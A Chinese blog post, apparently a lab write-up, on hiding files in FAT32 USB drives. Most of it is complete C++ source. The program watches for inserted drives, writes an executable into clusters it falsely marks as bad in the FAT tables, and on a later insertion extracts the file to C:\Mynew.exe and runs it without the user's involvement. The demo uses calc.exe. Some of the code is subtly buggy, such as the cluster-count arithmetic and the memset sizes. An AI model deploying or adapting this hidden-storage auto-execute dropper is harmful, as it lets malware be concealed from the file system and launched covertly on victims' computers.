简单的FAT32 U盘隐写

一、实验预期目的及实验环境

本实验意实现FAT32结构下的U盘隐写不被U盘文件系统读出,主要考察FAT32简单的结构认识和简单的代码能力。

为了方便实现,目标机环境设为Winxp sp2,附带Winhex和VS2010工具包。

二、基础知识

FAT32整体文件结构如下

这里写图片描述

本实验主要需要隐写文件至Upan处,方法采用修改FAT表、0号1号磁盘信息实现隐写。

0号磁盘结构中需要注意如下

偏移0BH:扇区字节数      00 020X0200,512字节
偏移0DH:每簇扇区数      08即每簇包括8个扇区
偏移0EH:保留扇区数      24 00即保留36个扇区
偏移10H:FAT表份数       02即两个FAT表
偏移24H:FAT表占用扇区数  EE 1D  00 00即FAT表占7662个扇区

1号磁盘结构中需要注意如下

偏移0x1E8:空闲簇数        4个字节
偏移0x1Ec:下一可用簇号  4个字节

注意这里存储的都是小端序!

FAT32结构如下
FAT表项每一项占4字节,表项的地址编号对应相应的簇序号。
表项的内容如下:

若为0,该簇未被分配;
若为0xFFFFFF7,坏簇,内有坏扇区;
若为0x0FFFFFF,该簇为文件结束簇;
其它值,为对应文件的下一簇号

我们这里处理用0xFFFFFF7伪造坏簇。一般情况下FAT表会有多个(一般是2个,所以还是需要把每个表都改掉)

注意簇位置对应的公式如下!

保留区*扇区大小+(第一个簇标号-2)*每簇大小*512+FAT表个数*扇区大小*FAT表大小

为什么中间有个减2呢?原因是FAT中的0、1号簇对应的地方用来存放其他的内容了,所以对应的没有0、1号簇,最先的簇从2号开始。’

三、实现思路

这里使用的方法很简单,甚至很幼稚

1.U盘的检测用map数组,最开始标记,动态判定一定数量的的磁盘有无变化来检测

2.U盘中需要存放不连续的簇的位置,我直接写到了U盘的空白区0x800位置,其实如果藏到FAT表中的隐蔽性会更小,受到的大小限制也更小了(因为前面的空白区毕竟有限)

3.只是单纯为了验证效果,写入U盘,和读取U盘文件运行都是用的文件的形式,文件用的固定地址

四、代码

// Upan_killer.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "stdio.h"
#include "stdlib.h"
#include "iostream"
#include "windows.h"
#include "DBT.H"
#include "fstream"
#include "map"
#include "string"
using namespace std;

#define A  TEXT("\\\\.\\A:") 
#define B  TEXT("\\\\.\\B:") 
#define C  TEXT("\\\\.\\C:") 
#define D  TEXT("\\\\.\\D:") 
#define E  TEXT("\\\\.\\E:") 
#define F  TEXT("\\\\.\\F:") 
#define G  TEXT("\\\\.\\G:") 
#define H  TEXT("\\\\.\\H:") 
#define I  TEXT("\\\\.\\I:") 
#define J  TEXT("\\\\.\\J:") 

char U[3]={0};          //U盘的盘符

int LeftArea,FatSize;   //分别是FAT区的保留区大小和FAT表的大小
int FirstCluster;       //可以利用的第一个簇号码
int SectorLeft;         //剩余可利用的空闲簇
int ClusterSize;        //簇的大小
int ClusterNeed;        //写入的exe文件所需要的簇数
map<string,int>mmp;
//判断文件是否被建立
int FileExits(char *FileName)
{
    fstream _file;
    _file.open(FileName,ios::in);
    if(!_file) return 0;
    else return 1;
}

//参数分别是文件句柄、数据缓冲区、准备文件读取的字节数和读取位置的偏移量
void ReadFileWithSize(HANDLE h,unsigned char* Buffer,DWORD dwBytestoRead,DWORD offset)
{
    DWORD dwBytesRead,dwBytesToRead;
    OVERLAPPED over = { 0 };            //计算读取的偏移量
    over.Offset = offset; 
    dwBytesToRead = dwBytestoRead;      // 要读取的字节数
    dwBytesRead = 0;                    // 实际读取到的字节数
    do{                                       //循环写文件,确保完整的文件被写入  
        ReadFile(h,Buffer,dwBytesToRead,&dwBytesRead,&over);
        dwBytesToRead -= dwBytesRead;
        Buffer += dwBytesRead;
     } while (dwBytesToRead > 0);

}
//参数分别是文件句柄、数据缓冲区、准备文件读取的字节数和读取位置的偏移量
void WriteFileWithSize(HANDLE h,unsigned char* Buffer,DWORD dwBytesToWrite,DWORD offset)
{
    DWORD dwBytesWrite;
    OVERLAPPED over = { 0 };            //计算读取的偏移量
    over.Offset = offset; 
    dwBytesToWrite = dwBytesToWrite;        // 要写入的字节数
    dwBytesWrite = 0;                   // 实际读取到的字节数
    do{                                       //循环写文件,确保完整的文件被写入  
        WriteFile(h,Buffer,dwBytesToWrite,&dwBytesWrite,&over);
        dwBytesToWrite -= dwBytesWrite;
        Buffer += dwBytesWrite;
     } while (dwBytesToWrite > 0);

}

//将一串hex值变成int型
int UcharToInt(unsigned char* Buffer,int Len)
{
    int answer=0;
    for(int i=Len-1;i>=0;i--)
    {
        answer = answer*256+(int)Buffer[i];
    }
    return answer;
}
//将一个int型变成小端hex值
void IntToUchar(unsigned char* Buffer,int Len,int value)
{
    for(int i=0;i<=Len-1;i++)
    {   
        Buffer[i]=value%256;
        value/=256;
    }
}

void GetInfoOfUSB(HANDLE h)
{
    unsigned char* Buffer = new unsigned char[512 + 1];
    ReadFileWithSize(h,Buffer,512,0);       //读取第0磁盘
    LeftArea = UcharToInt(Buffer+0xe,2);
    FatSize = UcharToInt(Buffer+0x24,4);
    ClusterSize=UcharToInt(Buffer+0xd,1);
    ReadFileWithSize(h,Buffer,512,512);     //读取第1磁盘
    FirstCluster=UcharToInt(Buffer+0x1ec,4);
    SectorLeft=UcharToInt(Buffer+0x1e8,4);
    //printf("%d %d %d %d %d\n",LeftArea,FatSize,ClusterSize,FirstCluster,SectorLeft);
}
//修改FAT32表
void HandleFATTable(HANDLE h,int ClusterNeed)
{
    int HasChnage;          //标记读取的512字节是否经过变动了
    unsigned char* Buffer = new unsigned char[512 + 1];             //存放读取的临时数据,在改变之后顺手存到FAT表中
    memset(Buffer,0,sizeof(Buffer));
    unsigned char* ClusterDir = new unsigned char[512 + 1];         //存放的簇的位置
    memset(ClusterDir,0,sizeof(ClusterDir));
    IntToUchar(ClusterDir,4,ClusterNeed);
    int HaveTooken=1;                   //正在寻找簇位置的标号
    //int ReadPos=(FirstCluster-2)*8*512+LeftArea*512+FatSize*2*512;    //表示读取扇区的地址,为什么减2?因为Fat表示从2号开始的,0、1号用来记录一些特殊标志位了
    int ReadPos=LeftArea*512+4*(FirstCluster)/512*512;  //为了保证后面读取512字符的都是整磁盘大小
    int ClusterNow=FirstCluster;        //该512字节读取后的对应簇的号码,但是这里不是对齐的,需要下面循环开始的时候矫正一下
    int TurnYes=0;
    while(HaveTooken<=ClusterNeed)
    {
        ReadFileWithSize(h,Buffer,512,ReadPos);
        HasChnage = 0;
        for(int i=0;i<128;i++)
        {
            if(Buffer[i*4]==0&&Buffer[i*4+1]==0&&Buffer[i*4+2]==0&&Buffer[i*4+3]==0)
            {
                if(TurnYes==0)
                {
                    ClusterNow-=i;
                    TurnYes=1;
                }
                HasChnage =1;
                Buffer[i*4]=0xf7;
                Buffer[i*4+1]=0xff;
                Buffer[i*4+2]=0xff;
                Buffer[i*4+3]=0xff;
                IntToUchar(ClusterDir+HaveTooken*4,4,ClusterNow+i);
                HaveTooken++;
                if(HaveTooken>ClusterNeed) break;
            }
        }
        if (HasChnage)
        {
            WriteFileWithSize(h,Buffer,512,ReadPos);                //修改FAT1表
            WriteFileWithSize(h,Buffer,512,ReadPos+512*FatSize);    //修改FAT2表
            FlushFileBuffers(h);
        }

        if(HaveTooken>ClusterNeed) break;
        ClusterNow+=128;
        ReadPos+=512;
    }
    WriteFileWithSize(h,ClusterDir,512,0x800);
    FlushFileBuffers(h);
    ReadFileWithSize(h,Buffer,512,512);     //读取第1磁盘
    IntToUchar(Buffer+0x1e8,4,SectorLeft-ClusterNeed);
    unsigned char* tmpvalue = new unsigned char[512 + 1];           //存放的簇的位置
    memset(tmpvalue,0,sizeof(tmpvalue));
    while(1)
    {
        int flag=0;
        ReadFileWithSize(h,tmpvalue,512,ReadPos);
        for(int i=0;i<128;i++)
        {
            if(tmpvalue[i*4]==0&&tmpvalue[i*4+1]==0&&tmpvalue[i*4+2]==0&&tmpvalue[i*4+3]==0)
            {
                IntToUchar(Buffer+0x1ec,4,ClusterNow+i);
                flag=1;
                break;
            }
        }
        if(flag==1)
        {
            WriteFileWithSize(h,Buffer,512,512);
            FlushFileBuffers(h);
            break;
        }
        ClusterNow+=128;
        ReadPos+=512;
    }

}
//这里主要进行各种修改和文件的隐写
void WriteFileInto(HANDLE h)
{
    HANDLE pFile;
    DWORD fileSize;
    pFile = CreateFile(TEXT("C://calc.exe"),GENERIC_READ,          
        FILE_SHARE_READ,
        NULL,               
        OPEN_EXISTING,           //打开已存在的文件 
        FILE_FLAG_WRITE_THROUGH , 
        NULL);
    if (pFile == INVALID_HANDLE_VALUE)  
    {  
        cout<<"failed"<<endl;  
     } 
    fileSize = GetFileSize(pFile,NULL);          //得到文件的大小
    ClusterNeed = fileSize/(ClusterSize*512)+(fileSize%(ClusterSize*512));
    HandleFATTable(h,ClusterNeed);          //修改FAT表等一系列信息

    unsigned char* TemValue = new unsigned char[512*ClusterSize + 1];               //存放读取的临时数据,在改变之后顺手存到FAT表中
    memset(TemValue,0,sizeof(TemValue));
    unsigned char* Buffer = new unsigned char[512 + 1];         //存放的簇的位置
    memset(Buffer,0,sizeof(Buffer));
    int ClusterNow;     //对应簇的号码
    ReadFileWithSize(h,Buffer,512,0x800);
    for(int i=1;i<=ClusterNeed;i++)
    {
        ClusterNow = UcharToInt(Buffer+i*4,4);
        ReadFileWithSize(pFile,TemValue,512*ClusterSize,(i-1)*512*ClusterSize);
        WriteFileWithSize(h,TemValue,512*ClusterSize,(ClusterNow-2)*ClusterSize*512+LeftArea*512+FatSize*2*512);
        FlushFileBuffers(h);
    }
    cout<<"成功写入!"<<endl;
}
//新建填充一个exe,并且执行
void FillTheFile(HANDLE h)
{
    if(FileExits("C://Mynew.exe"))
    {
        remove("C://Mynew.exe");
    }
    HANDLE pFile = CreateFile(TEXT("C://Mynew.exe"),GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, CREATE_ALWAYS , FILE_FLAG_WRITE_THROUGH, NULL);    //创建一个exe等待写入
    unsigned char* Buffer = new unsigned char[512 + 1];     
    int ClusterNow;
    unsigned char* TemValue = new unsigned char[512*ClusterSize + 1];
    memset(TemValue,0,sizeof(TemValue));
    memset(Buffer,0,sizeof(Buffer));
    ReadFileWithSize(h,Buffer,512,0x800);
    ClusterNeed = UcharToInt(Buffer,4);
    for(int i=1;i<=ClusterNeed;i++)
    {
        ClusterNow = UcharToInt(Buffer+i*4,4);
        ReadFileWithSize(h,TemValue,512*ClusterSize,(ClusterNow-2)*ClusterSize*512+LeftArea*512+FatSize*2*512);
        WriteFileWithSize(pFile,TemValue,512*ClusterSize,(i-1)*512*ClusterSize);
        FlushFileBuffers(pFile);
    }
    CloseHandle(pFile);
    if(FileExits("C://Mynew.exe"))
    {
        WinExec("C://Mynew.exe",SW_SHOW);
    }
    else
    {
        cout<<"Sometihng Wrong!"<<endl;
    }
}
//U盘的发现机制没有用到什么WINAPI,直接构造一个map表定期扫描即可
void InitMap()
{
    string Disk;

    DWORD allDisk = GetLogicalDrives();
    for (int i=0;i<16;i++)
    {
        string Disk="";
        if ((allDisk & 1)==1)
        {
            char Tmp='A'+i;
            Disk=Tmp;
            Disk+=":";
            mmp[Disk]++;
        }
        allDisk = allDisk>>1;
        if(allDisk==0) break;
    }
}
//显示map数据,表示磁盘的链接情况
void show_map()
{
    map<string,int>::iterator it;
    for(it=mmp.begin();it!=mmp.end();it++)
    {
        cout<<it->first<<" "<<it->second<<endl;
    }
}
//子进程来监视扫描磁盘的,10秒一次
DWORD  WINAPI FindUPan(PVOID pM)
{

    string Disk;
    while (true)
    {
        DWORD allDisk = GetLogicalDrives(); //返回一个32位整数,将他转换成二进制后,表示磁盘,最低位为A盘
        if (allDisk!=0)
        {
            show_map();
            for (int i=0;i<16;i++)     //假定最多有24个磁盘
            {
                char Tmp='A'+i;
                Disk=Tmp;
                Disk+=":";
                if ((allDisk & 1)==1)
                {
                    if(mmp[Disk]==0)
                    {
                        U[0]=Disk[0];U[1]=Disk[1];
                        mmp[Disk]++;
                    }
                }
                else
                {
                    if(mmp[Disk]==1)
                    {
                        mmp[Disk]--;
                    }
                }
                allDisk = allDisk>>1;
            }
        }   
        Sleep(10000);
        system("cls");
    }


}
HANDLE ChooseAHandle(char u)
{
    HANDLE h;
    switch(u)
    {
        case 'A': h = CreateFile(A,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'B': h = CreateFile(B,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'C': h = CreateFile(C,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'D': h = CreateFile(D,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'E': h = CreateFile(E,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'F': h = CreateFile(F,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'G': h = CreateFile(G,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'H': h = CreateFile(H,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'I': h = CreateFile(I,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'J': h = CreateFile(J,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
    }
    return h;
}
int main()
{
    HANDLE h;
    unsigned char* buffer = new unsigned char[512 + 1];     // 接收数据用的 buffer
    U[0]=0;U[1]=0;U[2]=0;
    InitMap();
    //show_map();
    HANDLE handle = CreateThread(NULL, 0, FindUPan, NULL, 0, NULL); 
    while(true)
    {
        if(U[0]!=0) //发现了U盘插入
        {
            h = ChooseAHandle(U[0]);
            if (h == INVALID_HANDLE_VALUE)  
            {  
                cout<<"failed"<<endl;  
            } 
            GetInfoOfUSB(h);
            ReadFileWithSize(h,buffer,512,0x800);

            if(buffer[0]==0&&buffer[1]==0&&buffer[2]==0&&buffer[3]==0)
            {
                WriteFileInto(h);
                //FillTheFile(h);
                U[0]=0;U[1]=0;
            }
            else
            {   
                FillTheFile(h);
                U[0]=0;U[1]=0;
            }
            CloseHandle(h);
        }
    }
    CloseHandle(handle);
    //system ("pause");
    return 0;
}

五、实验效果

首先检测U盘的插拔,10秒动态检测

这里写图片描述

当出现新的磁盘时候检测有没有写入过,如果写入过那么直接读出文件运行,否则写入

这里目标写入文件是一个192K的calc.exe
磁盘1如下(原来是格式化后的空U盘)

这里写图片描述

记录簇的位置,头四位记录簇的个数

这里写图片描述

我们手工计算一下文件应该开始写入第一簇的地址吧
这里的数据如下

每簇=8扇区
每扇区=512字节
FAT2个,每个15326个扇区
第一簇在第3号簇

那么我们计算的地址如下

这里写图片描述

实际写入的数据如下
这里写图片描述

写入文件的结尾出在这里

这里写图片描述

在padding后面有2个扇区的空白。

我们往U盘中复制一些文件吧

这里写图片描述

计算一下可以得知,没有被覆盖掉!

在插入U盘一会会自动运行clac.exe文件,在C盘的根目录下生成了一Mynew.exe

这里写图片描述

六、代码中的小问题

1.WriteFIle无法及时写入

有三种解决方法

1。调用FlushFileBuffers(hFile);
2。在用CreateFile创建文件的时候,第6个参数使用标志FILE_FLAG_WRITE_THROUGH
3。关闭掉句柄

也有可能是你的CreateFile时候参数就没有可写选项

2.CreateFile文件时候不能指定磁盘

做了一个列表,用switch函数选择句柄(这里10个范围可能不够大)

这里写图片描述

这里写图片描述

3.如何检测磁盘

使用GetLogicalDrives()函数,返回一个32位整数,将他转换成二进制后,表示磁盘,最低位为A盘。然后定义一个全局变量,如果全局变量变化了说明有新的磁盘。

DWORD  WINAPI FindUPan(PVOID pM)
{
    string Disk;
    while (true)
    {
        DWORD allDisk = GetLogicalDrives(); //返回一个32位整数,将他转换成二进制后,表示磁盘,最低位为A盘
        if (allDisk!=0)
        {
            show_map();
            for (int i=0;i<10;i++)     //假定最多有10个磁盘
            {
                char Tmp='A'+i;
                Disk=Tmp;
                Disk+=":";
                if ((allDisk & 1)==1)
                {
                    if(mmp[Disk]==0)
                    {
                        U[0]=Disk[0];U[1]=Disk[1];
                        mmp[Disk]++;
                    }
                }
                else
                {
                    if(mmp[Disk]==1)
                    {
                        mmp[Disk]--;
                    }
                }
                allDisk = allDisk>>1;
            }
        }   
        Sleep(10000);
        system("cls");
    } 
}

这里写图片描述

七、不足与反思

本身就是一个简单的实验,也收到时间的限制等等吧。下面讲讲很多可以改进的地方

1.还是可以用FAT表记录下一个簇的位置,我们只需要藏好第一个簇的内容就好了,这个或者可以标识U盘特定信息将之存到数据库中。

2.扫描法得到U盘插拔还是太笨了,本来可以用MFC的插入消息来写,没有写通所以换了简单的方法。

3.文件可以内嵌到程序中,不用每次从固定位置读,实际用时候也没这个条件,创建文件也容易暴露。








發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章